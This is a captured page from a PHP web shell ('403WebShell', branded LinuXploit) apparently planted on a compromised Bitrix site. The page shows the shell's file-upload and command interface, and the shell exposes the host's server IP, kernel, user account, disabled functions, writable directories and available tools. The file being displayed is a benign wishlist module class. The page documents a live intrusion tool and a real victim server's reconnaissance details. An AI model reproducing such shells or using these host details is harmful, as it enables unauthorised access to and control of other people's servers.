%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.128.172.168
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/itserw.wishlist/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/itserw.wishlist/lib/datastorageproperty.php
<?php

namespace Itserw\Wishlist;

use \Bitrix\Main\Config\Option;
use \Bitrix\Main\Localization\Loc;

/**
 * Class DataStorageProperty
 * @package Itserw\Wishlist
 */
class DataStorageProperty implements dataStorageInterface
{
    use InfoSerializeArrayTrait;
    /**
     * @var string
     */
    private $propertyId = 'field_custom_property';

    /**
     * @var string
     */
    private $propertyName = 'ITSERW_WISHLIST';

    /**
     * @var string
     */
    private $propertyNameFull;

    /**
     * @var array
     */
    private static $instances = array();

    /**
     * DataStorageProperty constructor.
     */
    protected function __construct()
    {
        $this->propertyNameFull = 'UF_' . $this->getOptionPropertyName();
    }


    /**
     * @return mixed
     */
    private function getOptionPropertyName()
    {
        return Option::get(Favorites::moduleId, $this->propertyId, $this->propertyName, SITE_ID);
    }

    /**
     * @return mixed
     */
    private function getIdProperty()
    {
        $oUserTypeEntity = new \CUserTypeEntity();
        $rsData = $oUserTypeEntity::GetList(array(), array('XML_ID' => 'XML_ID_' . $this->getOptionPropertyName()));
        $arRes = $rsData->Fetch();
        if ($arRes) {
            return $arRes['ID'];
        }
    }

    /**
     * @return bool
     */
    private function getUserId()
    {
        return ($_SESSION['SESS_AUTH']["USER_ID"]) ? $_SESSION['SESS_AUTH']["USER_ID"] : false;
    }

    /**
     * @return mixed
     */
    public static function getInstance()
    {

        $cls = static::class;

        if (!isset(static::$instances[$cls])) {
            static::$instances[$cls] = new static;
        }

        return static::$instances[$cls];
    }


    /**
     * @param array $values
     */
    public function addStorage(array $values)
    {
        if (!$this->getIdProperty()) {

            $oUserTypeEntity = new \CUserTypeEntity();
            $aUserFields = array(
                'ENTITY_ID' => 'USER',
                'FIELD_NAME' => $this->propertyNameFull,
                'USER_TYPE_ID' => 'string',
                'XML_ID' => 'XML_ID_' . $this->getOptionPropertyName(),
                'SORT' => 500,
                'MULTIPLE' => 'N',
                'MANDATORY' => 'N',
                'SHOW_FILTER' => 'N',
                'SHOW_IN_LIST' => '',
                'EDIT_IN_LIST' => 'N',
                'IS_SEARCHABLE' => 'N',
                'SETTINGS' => array(
                    'DEFAULT_VALUE' => '',
                    'SIZE' => '20',
                    'ROWS' => '1',
                    'MIN_LENGTH' => '0',
                    'MAX_LENGTH' => '0',
                    'REGEXP' => '',
                ),
                'EDIT_FORM_LABEL' => array(
                    'ru' => Loc::GetMessage("ITSERW_WISHLIST_TMPL_FAVORITES"),
                    'en' => 'Wishlist',
                ),
                'LIST_COLUMN_LABEL' => array(
                    'ru' => Loc::GetMessage("ITSERW_WISHLIST_TMPL_FAVORITES"),
                    'en' => 'Wishlist',
                ),
                'LIST_FILTER_LABEL' => array(
                    'ru' => Loc::GetMessage("ITSERW_WISHLIST_TMPL_FAVORITES"),
                    'en' => 'Wishlist',
                ),
                'ERROR_MESSAGE' => array(
                    'ru' => Loc::GetMessage("ITSERW_WISHLIST_ERROR_USER_PROPERTY"),
                    'en' => 'An error in completing the user field',
                ),
                'HELP_MESSAGE' => array(
                    'ru' => '',
                    'en' => '',
                ),
            );

            $oUserTypeEntity->Add($aUserFields);

        }

        $this->addStorageValue($values);
    }

    /**
     *
     */
    public function deleteStorage()
    {

        $oUserTypeEntity = new \CUserTypeEntity();
        if ($id = $this->getIdProperty()) {
            $oUserTypeEntity->delete($id);
        }

    }

    /**
     * @return bool
     */
    public function isStorage()
    {
        return $this->getIdProperty() ? true : false;
    }

    public function addStorageValue(array $values)
    {
        foreach (GetModuleEvents(Favorites::moduleId, "OnBeforeCustomPropertyFavoritesValueAdd", true) as $arEvent) {
            if (ExecuteModuleEventEx($arEvent, array(&$values)) === false)
                return false;
        }
        $data = $this->getStorageValue();
        $keys = $this->isStorageValue($values);

        if ($keys) {
            foreach ($keys as $key) {
                unset($data[$key]);
            }
        }

        $results = array_merge($data, $values);

        if (!empty($results)) {
            $newUser = new \CUser;
            $newUser->Update($this->getUserId(), array($this->propertyNameFull => serialize($results)));
        }

        foreach (GetModuleEvents(Favorites::moduleId, "OnAfterCustomPropertyFavoritesValueAdd", true) as $arEvent) {
            ExecuteModuleEventEx($arEvent, array($results, $this->getUserId()));

        }
    }

    /**
     * @param array $values
     * @return bool
     */
    public function deleteStorageValue(array $values)
    {
        foreach (GetModuleEvents(Favorites::moduleId, "OnBeforeCustomPropertyFavoritesValueDelete", true) as $arEvent) {
            if (ExecuteModuleEventEx($arEvent, array(&$values)) === false)
                return false;
        }
        $data = $this->getStorageValue();
        $keys = $this->isStorageValue($values);

        if ($keys) {
            foreach ($keys as $key) {
                unset($data[$key]);
            }

            $newUser = new \CUser;
            $newUser->Update($this->getUserId(), array($this->propertyNameFull => serialize($data)));

            foreach (GetModuleEvents(Favorites::moduleId, "OnAfterCustomPropertyFavoritesValueDelete", true) as $arEvent) {
                ExecuteModuleEventEx($arEvent, array($data, $this->getUserId()));
            }
            return true;
        }
        return false;
    }

    /**
     * @return array|mixed
     */
    public function getStorageValue()
    {
        $user = new \CUser;
        $rsUser = $user::GetList(($by = "NAME"), ($order = "desc"), array('ID' => $this->getUserId()), array("SELECT" => array($this->propertyNameFull), 'FIELDS' => array("ID")));
        while ($arUser = $rsUser->Fetch()) {

            $result = array();

            if ($arUser[$this->propertyNameFull] && $this->isSerialized($arUser[$this->propertyNameFull])) {
                $result = unserialize($arUser[$this->propertyNameFull]);
            } else if ($arUser[$this->propertyNameFull] && !$this->isSerialized($arUser[$this->propertyNameFull])) {
                $result = explode(',', $arUser[$this->propertyNameFull]);
            }
            return $result;
        }

    }

    /**
     * @param array $values
     * @return array
     */
    public function isStorageValue(array $values)
    {
        $data = $this->getStorageValue();
        $result = array();
        foreach ($values as $key => $value) {
            if (in_array($value, $data)) {
                $result[] = array_search($value, $data);
            }
        }
        return $result;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit